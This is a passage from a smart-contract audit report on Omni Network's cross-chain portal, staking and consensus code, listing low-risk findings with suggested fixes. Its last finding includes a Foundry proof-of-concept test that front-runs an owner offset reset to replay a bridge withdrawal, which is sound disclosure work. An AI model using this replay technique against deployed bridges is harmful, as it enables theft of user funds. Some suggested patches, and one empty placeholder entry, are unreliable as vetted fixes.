
  It is assumed that there is always quorum of honest validators.

But the problem here is that there is off by one error when checking for quorum in the code here

```
File: Quorum.sol
56:     function _isQuorum(uint64 votedPower, uint64 totalPower, uint8 numerator, uint8 denominator)
57:         private
58:         pure
59:         returns (bool)
60:     {
61:         return votedPower * uint256(denominator) > totalPower * uint256(numerator);
62:     }
```

This will cause the xmsg to fail even if the voting power is 2/3 is reached cause it should have been >= and not >

Although its inheritably minor problem the consequences may be large in some circumstances like

- Voting power validators of 2/3 are currently online
- 1/3 of validators are by intent not voting
- In normal situations where is controversial state or a re-org danger for example that 2/3 of validators signed the txn and yet those `xmsgs` of that `xblock` won't be executed on the destChains
- Recommendation change the > in Line 61 to >=

3.6.59 Fee in the Slashing.sol should be configurable

Severity: Low Risk

Context: Slashing.sol#L29

- Description

The value of ETH is not static and can significantly rise or fall, when this happens it should be possible to update the `Fee` by the owner of the contract.

The unjail `Fee` is constant and can not be updated

- Recommendation

Consider implementing a setter function for the `Fee` with `onlyOwner` modifier.

```
function updateFee(uint256 newFee) external onlyOwner {
require(newFee != 0, "Fee must be greater than zero");
Fee = newFee;
}
```

3.6.60 No storage gap set for upgradeable parent contract OmniPortalStorage.sol

Severity: Low Risk

Context: OmniPortalStorage.sol#L12

- Description

There is no storage gap on the upgradeable parent abstract contract `OmniPortalStorage.sol` contract.

Note that this is the same type of finding with LightChaser finding Low-3 finding but the `OmniPortalStorage.sol` contract is not captured in the instances.

The `OmniPortalStorage.sol` is inherited by the `OmniPortal.sol` which in turn inherit openzeppelin's Upgradeable contracts.

- Recommendation

Consider adding storage gap array variable to the OmniPortalStorage.sol contract to allow easily adding more variables in future upgrades without the risk of storage collision.

3.6.61 Portal's emitMsg function in Halo should decrement the offset incase it fails to insert the new message to `msgTable` table

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description In the Portal Keeper::EmitMsg function, the logic inserts the message into the new Block being formed. As part of the logic, once the blockId is identified, the logic generates the offset for the message using the context, the destination chain Id and the shard id.

On successful generation of the offset, the logic attempts to insert the message into the `msgTable`. Incase the insert into the message table fails, the logic throws "insert message" error. At this point the offset is already incremented offchain.

The vulnerability arises in the scenario where the offset was successfully inserted, but for some reason due to infrastructure related issue, the message was not successfully inserted into the `msgTable` table.

As the offset is also being tracked onchain, it is absolutely necessary for the offchain and onchain to be in sync always, else all subsequent msgs will revert due to validation check in the `_exec` function onchain.

As the onchain and offchain are async systems, if it possible that while the onchain did not get processed, the offchain could continue to publish events and hence increment the offset leading to deviation in the offset for onchain vs offchain values.

`https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/portal/keeper/keeper.go#L45-L83`

Refer to the below code snippet, where in the logical flow, the `offset` is computed. On successful retrieval of `offset`, the insert into msgTable is attempted.

If the insert into the msgTable fails, `insert message` error is returned.

But, since the offSet incremented was not decremented, it will result in deviation between onchain and offchain.

```
offset, err := k.incAndGetOffset(ctx, destChainID, shardID)
    if err != nil {
        return 0, errors.Wrap(err, "increment offset")
    }

==> err = k.msgTable.Insert(ctx, &Msg{
        BlockId:      blockID,
        MsgType:      uint32(typ),
        MsgTypeId:    msgTypeID,
        DestChainId:  destChainID,
        ShardId:      uint64(shardID),
        StreamOffset: offset,
    })
    if err != nil {
        return 0, errors.Wrap(err, "insert message")
    }
```

Now, refer to the below code snippet on chain.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/xchain/OmniPortal.sol#L236-L287

Refer to the below require condition where the tracked offset Message should match the `offSet` of the message being processed to it to succeed. This condition will prevent processing of other message incase the insert into the `msgTable` failed leading to out of sync scenario between onchain and offchain.

```
==>    require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");

        // verify xmsg conf level matches xheader conf level
        // allow finalized blocks to for any xmsg, so that finalized blocks may correct "fuzzy" xmsgs
        require(
            ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),
            "OmniPortal: wrong conf level"
        );

        if (inXBlockOffset[sourceChainId][shardId] < xheader.offset) {
            inXBlockOffset[sourceChainId][shardId] = xheader.offset;
        }

 ==>       inXMsgOffset[sourceChainId][shardId] += 1;
```

This scenario where offchain and onchain gets out of sync. Every message after out of sync scenario will revert.

The Onchain offers functions to adjust the offset maintained onchain to correct this issue. But, as Async systems, it is possible for the offset value offchain to deviate from Onchain value by a large number. A simple resetting of onchain offset will not resolve the issue and it would need lot of manual intervention.

Another concern is that, in order to keep the network running, the owner may configure the Onchain offset to skip certain set of transactions to keep the network up and running.

Example, if the out of sync for onchain/offchain happens at 100. The current implementation will allow the owner to configure the offset as 105 and proceed skipping the 101 to 104 messages. Ideally, This should not be allowed.

- Recommendation The correct approach would be to create a procedure to write data into the database tables at the same time in one single atomic transaction. The transaction should update the `offSetTable` and `msgTable` in one single block of transaction to be atomic to ensure either the transaction will succeed or revert.

This will ensure that the offset will not get out of sync.

Also, as Onchain offset is a get keeper, ideally, any adjustment should only be done offchain. Since the out of sync is by 1, the adjustment should ideally be restricted to 1. This is to prevent skipping of messages at owner's discretion.

3.6.62 Cross chain calls do not support contract interactions that requires value to be sent along the call

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The omni portal contracts,according to docs. `are an integral part of Omni and are deployed to every supported rollup network EVM and the Omni EVM itself. These contracts are responsible for initiating "XMsg" requests`

xCall is used to initiate a cross chain contract communication call and xSubmit is used to receive those calls and execute them on each rollup.

However , we have a look at both functions , none of them are able to entertain cross chain contracts invocations that require some native token to be passed along .

Omni Portal uses `_call` method that draws its inspiration‘Openzeppelin's Minimal Forwader'

```
    function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪   uint256) {
        uint256 gasLeftBefore = gasleft();

        // use excessivelySafeCall for external calls to prevent large return bytes mem copy
        (bool success, bytes memory result) =
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪   data });

        uint256 gasLeftAfter = gasleft();

        // Ensure relayer sent enough gas for the call
        // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
↪   c0290/contracts/metatx/MinimalForwarder.sol#L58-L68
        if (gasLeftAfter <= gasLimit / 63) {
            // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
↪   exception
            assembly {
                invalid()
            }
        }

        return (success, result, gasLeftBefore - gasLeftAfter);
    }
```


However looking at the code of `// See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18ac0290/contracts/metatx/MinimalForwarder.sol#L58-L68`

```
    function execute(
        ForwardRequest calldata req,
        bytes calldata signature
    ) public payable returns (bool, bytes memory) {
        require(verify(req, signature), "MinimalForwarder: signature does not match request");
        _nonces[req.from] = req.nonce + 1;

        (bool success, bytes memory returndata) = req.to.call{gas: req.gas, value: req.value}(
            abi.encodePacked(req.data, req.from)
        );

        // Validate that the relayer has sent enough gas for the call.
        // See https://ronan.eth.limo/blog/ethereum-gas-dangers/
        if (gasleft() <= req.gas / 63) {
            // We explicitly trigger invalid opcode to consume all gas and bubble-up the effects, since
            // neither revert or assert consume all gas since Solidity 0.8.0
            //
↪   https://docs.soliditylang.org/en/v0.8.0/control-structures.html#panic-via-assert-and-error-via-require
            /// @solidity memory-safe-assembly
            assembly {
                invalid()
            }
        }

        return (success, returndata);
    }
```

which in of itself forwards the `req.value` with the `call` .

```
    (bool success, bytes memory returndata) = req.to.call{gas: req.gas, value: req.value}(
            abi.encodePacked(req.data, req.from)
        );
```

but the one in omniportal does not send any value (0 as hardcoded)

```
        (bool success, bytes memory result) =
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪   data });
```


The `_call` method in omni portal is used when `xSubmit` is called (messages are received to be executed)

This issue can arise for example when a person wants to initiate a deposit of native token from source chain to a destination chain's contract that accepts some amount of native token on destination chain .

The issue is similar to a previously Reported Issue

It can be intended but since it's not documented well for portal contracts , i felt it should be reported maybe it turns out to be important for Omni

- Recommendation Fixing this issue might not be easy as it might involve doing things with native token bridging and conversion between native assets of source and destination chain and require special attention of the team to make a vioable solution to this problem.

3.6.63 Lack of `deployHeight` check while registering new deployment in portal registry

Severity: Low Risk

Context: PortalRegistry.sol#L107

- Description The `register` and `bulkRegister` functions register new deployments to the portal registry. These public functions utilize the internal function `_register` to validate and register new deployments.

This function fails to verify if the `deployHeight` is not zero, leading to unexpected behavior.

- Recommendation Consider validating `deployHeight` while registering new deployments in the portal registry.

```
function _register(Deployment calldata dep) internal {
+ require(dep.deployHeight != 0, "PortalRegistry: zero deploy height");
}
```

3.6.64 Maxvalidators does not work as intended

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description `maxValidators` is used in the `Static()` function, which is called by other functions in scope. The current max validators is set to 30:

```
const maxValidators = 30
```

This limit has been confirmed by the sponsor to restrict the number of bonded validators. However, when attempting to connect 28 validators to the local network, the process will fail.

- POC:
- `git clone https://github.com/omni-network/omni`
- `cd omni`
- `git checkout a782d51ad534f59ffaa20201f5711ee7ecb47e79`
- `cd e2e/manifests`
- inside `e2e/manifests/devnet1.toml` paste the following code:

```
-  Devnet1 is the simple multi-validator devnet. It contains 2 validators.
network = "devnet"
anvil_chains = ["mock_l1", "mock_l2"]

multi_omni_evms = true
prometheus = true

[node.validator1]
[node.validator2]
[node.validator3]
[node.validator4]
[node.validator5]
[node.validator6]
[node.validator7]
[node.validator8]
[node.validator9]
[node.validator10]
[node.validator11]
[node.validator12]
[node.validator13]
[node.validator14]
[node.validator15]
[node.validator16]
[node.validator17]
[node.validator18]
[node.validator19]
[node.validator20]
[node.validator21]
[node.validator22]
[node.validator23]
[node.validator24]
[node.validator25]
[node.validator26]
[node.validator27]
[node.validator28]

[node.fullnode01]
mode="archive"
```

This setup will run the local network with 28 validators and 1 full node.

- `make build-docker`

- `make testnet-deploy`

The local devnet is now running, if we then check the logs we will see the following:

```
2024-10-28 15:54:31 validator24       | 24-10-28 14:54:31.469 WARN Halo height is not increasing, evm syncing?
↪  height=1
2024-10-28 15:54:31 validator5        | 24-10-28 14:54:31.605 WARN Failed fetching network from consensus
↪  registry (will retry)
```

- Impact The height is not increasing, resulting in continuous retry attempts that ultimately fail.
- Recommendation Consider implementing a fix so the max validators work as intended.

3.6.65 Missing Pause Functionality for consensusChainId in Omni Cross-Chain Messaging

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Summary The Omni cross-chain messaging system lacks a dedicated mechanism to pause operations based on the `consensusChainId` used by the Halo Consensus client (a Cosmos-SDK chain). This omission limits the bridge operator's control over message validation and system security. If Halo experiences instability, a compromise, or security issues, this missing functionality could lead to potentially unsafe messages being processed and affect the bridge's overall integrity.
- Description In the Omni bridge architecture, the `consensusChainId` is critical for validating cross-chain messages and ensuring that operations align with the consensus rules established by the Omni consensus client (Halo). However, the current implementation allows for pausing submissions only based on sourceChainId, as seen in the `pauseXSubmitFrom` 'function:

```
/**
 * @notice Pause xsubmissions from a specific chain
 * @param chainId_    Source chain ID
 */
function pauseXSubmitFrom(uint64 chainId_) external onlyOwner {
    _pause(_chainActionId(ActionXSubmit, chainId_));
    emit XSubmitFromPaused(chainId_);
}
```


There is no equivalent mechanism for pausing operations based on `consensusChainId`. Without this functionality, the bridge operator cannot effectively respond to issues arising from the consensus chain, particularly in the event of a compromise or instability in the Halo consensus client. As a result, any vulnerabilities or outages in the consensus chain could propagate to the Omni layer, potentially leading to security incidents.

> **In the event of a security incident or outage affecting Halo (the consensus layer), the system may continue producing attestations that are either invalid or malicious due to the compromise. Since the Omni bridge lacks the ability to pause operations based on consensusChainId, it would proceed to process these problematic attestations, allowing potentially harmful messages to pass through the system. As a result, invalid messages could propagate through the Omni bridge, adversely affecting users' assets and potentially leading to irreversible consequences for cross-chain transactions.**

- Impact If the Halo consensus client produces invalid attestations, the lack of a pause function based on consensusChainId means that these invalid messages can be processed by the bridge, risking user assets and undermining trust in the system.
- Recommendation To address the identified risk, it is recommended to implement a function that allows the operator to pause cross-chain message submissions specifically based on consensusChainId. This could be achieved through:

Creating a New Pause Function: Introduce a function such as `pauseConsensusSubmissions` to specifically target and manage submissions tied to the consensus layer.

Modifying Existing Functions: Update the existing pause functionality to accommodate consensusChainId, allowing the operator to choose whether to pause submissions based on sourceChainId or consensusChainId.

```
function pauseXSubmit(uint64 chainId, bool isConsensusChain) external onlyOwner {
    uint64 targetChainId = isConsensusChain ? consensusChainId : chainId;
    _pause(_chainActionId(ActionXSubmit, targetChainId));
    emit XSubmitPaused(targetChainId, isConsensusChain);
}
```

3.6.66 Replay Vulnerability Due to Manual Offset Reset in _exec Function

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `_exec` function enforces a sequential order for cross-chain messages by checking if the offset of the incoming message (xmsg_) matches `inXMsgOffset[sourceChainId][shardId] + 1`. This mechanism ensures messages are processed in order. However, since the contract owner has the authority to manually reset `inXMsgOffset` to an arbitrary value, it becomes possible to replay previously processed messages. If inXMsgOffset is set to an earlier value, previously processed messages with matching offsets can pass the offset requirement, effectively allowing them to be replayed.

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
    ...
    require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
    ...
    inXMsgOffset[sourceChainId][shardId] += 1;
}
```

The issue arises when `inXMsgOffset[sourceChainId][shardId]`, initially incremented sequentially to ensure message order, is manually reset by the owner to a previous value (e.g., back to 100 after reaching 110). This reset reopens previously processed offsets (101-110) for reprocessing. Consequently, an attacker can replay a message with an offset of 101, passing the offset check in _exec and allowing the message's action (like a cross-chain token transfer) to be processed again. Repeating this for subsequent offsets enables duplicate execution of actions, resulting in double-spending, state inconsistencies, or unintentional duplicate protocol actions.

The root of the vulnerability is that the `setInXMsgOffset` function allows unrestricted manual resets of `inXMsgOffset` by the owner, effectively resetting the offset (which functions as a nonce) and creating replay possibilities.

- Impact **Double-Spending:** Cross-chain asset transfers could be executed multiple times.

  The offset acts as a nonce to enforce the sequential processing of cross-chain messages for each (sourceChainId, shardId) pair, protecting the protocol from reprocessing or message replays by ensuring each message has a unique offset that follows the last processed message.

- Recommendation Limit the `setInXMsgOffset` function to only allow forward progression. For instance, require that the new offset can only be set to a value greater to the current value. This will prevent resetting to a previous offset and avoid reprocessing of already handled messages.

```
    function setInXMsgOffset(uint64 sourceChainId, uint64 shardId, uint64 offset) external onlyOwner {
        _setInXMsgOffset(sourceChainId, shardId, offset);
    }

function setInXMsgOffset(uint64 sourceChainId, uint64 shardId, uint64 offset) external onlyOwner {
+     require(offset > inXMsgOffset[sourceChainId][shardId], "Offset must increase");
    _setInXMsgOffset(sourceChainId, shardId, offset);
}
```

3.6.67 Insufficient input verification: Staking.sol

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

If the delegate function is called before `createValidator` for any reason, the funds deposited during the call to the `delegate` function will be completely lost.

Staking.sol

```
    /**
     * @notice Increase your validators self delegation.
     *         NOTE: Only self delegations to existing validators are currently supported.
     *         If msg.sender is not a validator, the delegation will be lost.
     * @dev Proxies x/staking.MsgDelegate
     */
    function delegate(address validator) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
        require(msg.value >= MinDelegation, "Staking: insufficient deposit");

        // only support self delegation for now
        require(msg.sender == validator, "Staking: only self delegation");

        emit Delegate(msg.sender, validator, msg.value);
    }
```

staking.go

```
func (p EventProcessor) deliverDelegate(ctx context.Context, ev *bindings.StakingDelegate) error {
    if ev.Delegator != ev.Validator {
        return errors.New("only self delegation")
    }

    delAddr := sdk.AccAddress(ev.Delegator.Bytes())
    valAddr := sdk.ValAddress(ev.Validator.Bytes())

    if _, err := p.sKeeper.GetValidator(ctx, valAddr); err != nil {
        return errors.New("validator does not exist", "validator", valAddr.String())
    }
        // ...
}
```

In the `Staking` contract, when the `delegate` function is called, it does not verify the existence of the validator. Therefore, calling the `Staking.delegate` function for a non-existent validator succeeds, and the funds are deposited accordingly. At this time, the event `Delegate` is triggered, which calls the `deliverDelegate` function in `staking.go`. This function verifies the existence of the validator and returns an error if the validator does not exist. Consequently, the user ends up losing their funds.

- Recommendation

It is necessary to verify the existence of the `validator` when calling the `Staking.delegate` function.

3.6.68 The native token sent to Staking is currently unrecoverable

Severity: Low Risk

Context: Staking.sol#L89

- Summary

Currently, there is no way for any party to retrieve the native token transferred into the `octane/Staking.sol` contract. Additionally, there is no way to refund the native token deposited along calls that failed in the consensus chain. Please make sure this behavior is expected.

- Finding Description

The native token can be deposited into the staking contract along the calls to two `payable` functions:

```
    function createValidator(bytes calldata pubkey) external payable {
```

and

```
    function delegate(address validator) external payable {
```

However, the contract provides no ways to transfer it outside. Also, there is no any validator balance mapping in the contract's state, hindering any unstaking implementation which may be introduced in the future.

Additionally, a contract comment says

> Calls are proxied, and not executed syncronously. Their execution is left to the consensus chain, and they may fail.

However, there is no way to refund any part of the funds associated with a failed call.

Please make sure the behavior described above is expected.

- Impact Explanation

The native token may be recovered after a contract upgrade. Probably, unstaking has not implemented yet.

- Likelihood Explanation

The issue, if exists, has a 100% likelihood.

- Recommendation

Please make sure the behavior described above is expected. Besides, I suggest keeping a validator stake mapping. That would make any further stake management easier.

3.6.69 Validator Status Desynchronization Vulnerability

Severity: Low Risk

Context: Slashing.sol#L35-L38

The contract doesn't have a jail function which is essential in the contract that is, by enforcing penalties e.g enforce double signing Another reason is to prevent further harm in the contract by permanently banning a malicious validator who keeps attempting some or same suspicious activities. This function also helps to reverse the unjailed validator.

The contract also needs to have a function that updates a validator status whether a particular validator is jailed or unjailed as it provides transparency by providing real time validator status and as well to enable network monitoring tools to track validator performance. The function should have configuration changes e.g update validator settings(public key, staking amount) and as well ensuring validators comply with network regulations.

In conclusion the contract may automatically jails a validator who tries to attempt some suspicious activity but it is necessary having the jail function so it could also account for unjailed users who tries attempting same or attempts some further harm or suspicious activity to be permanently ban and also keeps the contract integrity and to prevent further harm Along side, updating each validators status is necessarily important.

RECOMMENDATION

Considering adding a `jail` function and a `getValidatorStatus` function

3.6.70 Refund excess slashing fee in `unjail()` function

Severity: Low Risk

Context: Slashing.sol#L35

- Description The `unjail()` function in `Slashing.sol` burns the slashing fees and emits the `Unjail` event. This function accepts a static fee of 0.1 ether to unjail.

Any excess sent to the function is also sent to the burn address instead of being refunded, leading to a loss of funds for the user. Firstly, this flow is not ideal, as the 0.1 Ether fee is enough to prevent spam.

- Recommendation Consider adding a refund flow, where excess paid unjail fees are refunded back to the users.

```
function _burnFee() internal {
   require(msg.value >= Fee, "Slashing: insufficient fee");
   payable(BurnAddr).transfer(Fee);

+   uint256 currBal = address(this).balance;
+   if(currBal > 0) {
+    payable(msg.sender).transfer(currBal);
+   }
}
```

3.6.71 `ActiveSetByHeight` could potentially returns the wrong validator set

Severity: Low Risk

Context: query.go#L28-L78

- Description `ActiveSetByHeight` is used in multiple places in the protocol and doesn't feels robust enough in the moment. There is a scenario that could happen which return the validator set not for the exact requested height (so earlier then the requested height), which would **cause sides effects**, thus I think in such case it should return an error (`no validator set found for height`).
- Recommendation Apply the following patch to make this function more robust.

```
func (k *Keeper) activeSetByHeight(ctx context.Context, height uint64) (*ValidatorSet, []*Validator, error) {
    setIter, err := k.valsetTable.List(ctx, ValidatorSetPrimaryKey{}, ormlist.Reverse())
    if err != nil {
        return nil, nil, errors.Wrap(err, "failed to list validators")
    }
    defer setIter.Close()

    // Find the latest activated set less-than-or-equal to the given height.
    var valset *ValidatorSet
    for setIter.Next() {
        set, err := setIter.Value()
        if err != nil {
            return nil, nil, errors.Wrap(err, "failed to get validator")
        }
        if !set.GetAttested() {
            continue // Skip unattested sets.
        }
        if set.GetActivatedHeight() <= height {
+           if set.GetActivatedHeight() == height {
+               valset = set
+           }
            break
        }
    }
    if valset == nil {
        return nil, nil, errors.New("no validator set found for height")
    }

    valIter, err := k.valTable.List(ctx, ValidatorValsetIdIndexKey{}.WithValsetId(valset.GetId()))
    if err != nil {
        return nil, nil, errors.Wrap(err, "failed to list validators")
    }
    defer valIter.Close()

       ...
```


3.6.72 Test-test-test-test

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

...

3.6.73 Zero-power validators should be deleted after `mergeValidatorSet`

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description At the end of every consensus block, to form the new tracked validator set, the `valsync` module will take the current active validator set and merge any new validator updates at the end of every consensus block. The code for this is shown below

```
// mergeValidatorSet returns the validator set with any zero power updates merged in.
// The valsetID is not set.
func mergeValidatorSet(valset []stypes.Validator, updates []abci.ValidatorUpdate) ([]*Validator, error) {
    var resp []*Validator //nolint:prealloc // We don't know the length of the result.

    added := make(map[string]bool)
    for _, update := range updates {
        resp = append(resp, &Validator{
            PubKey:  update.PubKey.GetSecp256K1(),
            Power:   update.Power,
            Updated: true,
        })
        added[update.PubKey.String()] = true
    }

    for _, val := range valset {
        pubkey, err := val.CmtConsPublicKey()
        if err != nil {
            return nil, errors.Wrap(err, "get consensus public key")
        }

        if added[pubkey.String()] {
            continue
        }

        resp = append(resp, &Validator{
            PubKey:  pubkey.GetSecp256K1(),
            Power:   val.ConsensusPower(sdk.DefaultPowerReduction),
            Updated: false,
        })
    }

    return resp, nil
}
```

The problem is that the zero-power validators (validators that were removed from the validator set) will persist in the tracked validator set making the code inefficient.

- Recommendation

While this will be filtered out later (for example when making a query for the validator set), it would be more efficient to filter in `mergeValidatorSet` to reduce the number of items to iterate whenever a query is made.

3.6.74 Front-runned XMsg offset change leads to a replay attack

Severity: Low Risk

Context: OmniPortal.sol#L707

- Summary

The `OmniPortal` has an administrative function to adjust an XStream offset arbitrarily. The decreasing of an XStream offset is also allowed. A decrease of an offset leads to replaying some XMsgs. XMsgs replaying can have disastrous consequences. Moreover, an attacker may front-run the administrative transaction and perform a target-driven replay attack against some applications using the protocol by inserting messages on the top of the XStream before the XStream offset is adjusted.

- Finding Description

There is a function to adjust an XStream offset, callable only by the portal owner:

```
    /**
     * @notice Set the inbound xmsg offset for a chain and shard
     * @param sourceChainId    Source chain ID
     * @param shardId          Shard ID
     * @param offset           New xmsg offset
     */
    function setInXMsgOffset(uint64 sourceChainId, uint64 shardId, uint64 offset) external onlyOwner {
        _setInXMsgOffset(sourceChainId, shardId, offset);
    }
```

However, no `offset` value validation is performed:

```
    /**
     * @notice Set the inbound xmsg offset for a chain and shard
     */
    function _setInXMsgOffset(uint64 sourceChainId, uint64 shardId, uint64 offset) internal {
        inXMsgOffset[sourceChainId][shardId] = offset;
        emit InXMsgOffsetSet(sourceChainId, shardId, offset);
    }
```

It allows for a decrease in the offset. As a result, some of the messages will be replayed. The function indeed requires owner access. However, even legitimate usage of the function by the team may lead to unintended consequences, especially if targeted by an attacker. The following attack vector may be described.

Suppose the current `inXMsgOffset` for some XStream is `3`. The owner decides to set it to `2` (by mistake or to replay the last message in the XStream). The current code version allows this. The owner signs a `setInXMsgOffset` transaction and sends it to the mempool.

An attacker (more likely the attacker's software) sees the transaction in the mempool and starts a front-running attack. They try to front-run the administrative transaction, however, their target is a bridge using the same XStream. All they need is to perform a bridge transfer faster than the administrative transaction is included in a block.

If they were able to do so, then there would be a `withdraw` XMsg with offset `4` on the top of the XStream.

Then, the `setInXMsgOffset` transaction is included into a block setting the offset back to `2`.

After this step, xsubmit of the messages `3` and `4`. That leads to the second withdrawal for the same deposit of the attacker at the expense of other bridge users.

If the front-running is failed, then the attacker ends up with just a legit bridge transfer. As a result, the attack cost is marginal.

- Impact Explanation

A replay attack can have disastrous consequences for any application using the Omni Network, including major funds theft. The example above leads to just doubling the attacker's liquidity with no risk. However, some applications may have the non-linear impact of a replay attack. Examples are bonding curves, AMM and lending protocols using curves, and applications not expecting some setting or a user metric to be repeated.

- Likelihood Explanation

The likelihood is at least low. It does depend on an administrative action, however, the front-running of such an action is quite probable. This is so because some L2 rollups still have a single sequencer. A DDoS attack on the sequencer will leave an attacker plenty of time to perform an attack. Moreover, it's not uncommon even for quite prominent chains to stall for hours. Besides, such malfunctions may be correlated with administrative decisions to change the offset.

- Proof of Concept

Please apply the following patch to the `contracts/core/test/xchain/OmniPortal_exec.t.sol` test and run with

`forge test --mt test_setInXMsgOffset_front_running -vv`

```
diff --git a/contracts/core/test/xchain/OmniPortal_exec.t.sol
↪  b/contracts/core/test/xchain/OmniPortal_exec.t.sol.setInXMsgOffset
index 4dc1ff59..ffed8445 100644
--- a/contracts/core/test/xchain/OmniPortal_exec.t.sol
+++ b/contracts/core/test/xchain/OmniPortal_exec.t.sol.setInXMsgOffset
@@ -2,6 +2,11 @@
 pragma solidity =0.8.24;

 import { XTypes } from "src/libraries/XTypes.sol";
+import { ConfLevel } from "src/libraries/ConfLevel.sol";
+import { TransparentUpgradeableProxy } from
↪  "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
+import { Omni } from "src/token/Omni.sol";
+import { OmniBridgeL1 } from "src/token/OmniBridgeL1.sol";
```

```
+import { Predeploys } from "src/libraries/Predeploys.sol";
 import { OmniPortal } from "src/xchain/OmniPortal.sol";
 import { Base } from "./common/Base.sol";
 import { TestXTypes } from "./common/TestXTypes.sol";
@@ -214,6 +219,103 @@ contract OmniPortal_exec_Test is Base {
         portal.call{ gas: insufficientGas }(to, gasLimit, data);
     }

+    function test_setInXMsgOffset_front_running() public {
+        Greeter cGreeter = new Greeter();
+        XTypes.Msg[] memory messages = new XTypes.Msg[](5);
+        messages[1] = makeGreetingXMsg(1, address(cGreeter), "Alice");
+        messages[2] = makeGreetingXMsg(2, address(cGreeter), "Bob");
+        messages[3] = makeGreetingXMsg(3, address(cGreeter), "Carol");
+
+        Omni l1Token = new Omni(1000_000 ether, owner);
+        OmniBridgeL1 l1Bridge = OmniBridgeL1(
+            address(
+                new TransparentUpgradeableProxy(
+                    address(new OmniBridgeL1(address(l1Token))), owner,
+                    abi.encodeCall(OmniBridgeL1.initialize, (owner, address(portal)))
+                )
+            )
+        );
+        vm.prank(owner);
+        l1Token.transfer(address(l1Bridge), 1000_000 ether);
+        // End of setup.
+
+        // Some messages were executed by a portal.
+        vm.chainId(messages[1].destChainId);
+        vm.startPrank(relayer);
+        for (uint offset = 1; offset <= 3; offset++) {
+            // To make the example simpler we're invoking _exec directly. However, the same steps might be
↪  carried out
+            // via xsubmit with the same result.
+            portal.exec(_xheader2(messages[offset], portal.omniChainId()), messages[offset]);
+        }
+        vm.stopPrank();
+
+        // The last applied XMsg offset is 3.
+        assertEq(portal.inXMsgOffset(portal.omniChainId(), uint64(ConfLevel.Finalized)), 3);
+
+        // Now, suppose the owner for some reason wants to adjust inXMsgOffset back to 1.
+        // Perhaps, to greet Bob and Carol one more time.
+
+        // However, an attacker manages to front-run the setInXMsgOffset transaction and perform a bridge
↪  transfer
+        // by making a proper deposit on the other side (not shown here) and invoking a bride transfer as
↪  usual:
+        address attacker = makeAddr("attacker");
+        uint attackerDeposit = 1000 ether;
+        messages[4] = XTypes.Msg({
+            destChainId: thisChainId,
+            shardId: uint64(ConfLevel.Finalized),
+            offset: 4,
+            sender: Predeploys.OmniBridgeNative,
+            to: address(l1Bridge),
+            data: abi.encodeCall(OmniBridgeL1.withdraw, (attacker, attackerDeposit)),
+            gasLimit: 100_000
+        });
+        vm.startPrank(attacker);
+        portal.exec(_xheader2(messages[4], portal.omniChainId()), messages[4]);
+        console.log("Attacker balance:", l1Token.balanceOf(attacker) / 1 ether, "tokens");
+        vm.stopPrank();
+
+        // Now the front-runned owner transaction finally makes it to the chain.
+        vm.startPrank(owner);
+        portal.setInXMsgOffset(portal.omniChainId(), uint64(ConfLevel.Finalized), 1);
+        vm.stopPrank();
+
+        // Now the attack is almost completed. Any relayer will make the rest of the actions needed.
+        vm.startPrank(relayer);
+        for (uint offset = 2; offset <= 4; offset++) {
+            // The protocol requires the portal to re-apply all messages from the source chain,
+            // including the attacker's withdrawal.
+            portal.exec(_xheader2(messages[offset], portal.omniChainId()), messages[offset]);
```

```
+        }
+        vm.stopPrank();
+
+        console.log("Attacker balance:", l1Token.balanceOf(attacker) / 1 ether, "tokens");
+
+        // The attacker doubled their deposit.
+        assertEq(l1Token.balanceOf(attacker), attackerDeposit * 2);
+    }
+
+    function makeGreetingXMsg(uint64 offset, address to, string memory name) internal returns (XTypes.Msg
↪  memory) {
+        return XTypes.Msg({
+            destChainId: thisChainId,
+            shardId: uint64(ConfLevel.Finalized),
+            offset: offset,
+            sender: makeAddr("greeter"),
+            to: to,
+            data: abi.encodeCall(Greeter.sayHelloTo, (name)),
+            gasLimit: 100_000
+        });
+    }
+
+    function _xheader2(XTypes.Msg memory xmsg, uint64 sourceChainId) internal pure returns
↪  (XTypes.BlockHeader memory) {
+        return XTypes.BlockHeader({
+            sourceChainId: sourceChainId,
+            consensusChainId: omniCChainID,
+            confLevel: uint8(xmsg.shardId),
+            offset: 1,
+            sourceBlockHeight: 100,
+            sourceBlockHash: bytes32(0)
+        });
+    }
+
     /// @dev Helper to repeat a string a number of times
     function _repeat(string memory s, uint256 n) internal pure returns (string memory) {
         string memory result = "";
@@ -235,3 +337,14 @@ contract OmniPortal_exec_Test is Base {
         });
     }
 }
+
+
+contract Greeter
+{
+    event Greeting(string message);
+
+    function sayHelloTo(string calldata name) external {
+        emit Greeting(string.concat("Hello, ", name));
+        console.log(string.concat("Hello, ", name));
+    }
+}
```

- Recommendation

I suggest forbidding reducing an XStream offset:

```
    function _setInXMsgOffset(uint64 sourceChainId, uint64 shardId, uint64 offset) internal {
+       require(offset >= inXMsgOffset[sourceChainId][shardId], "OmniPortal: no offset decrease");
        inXMsgOffset[sourceChainId][shardId] = offset;
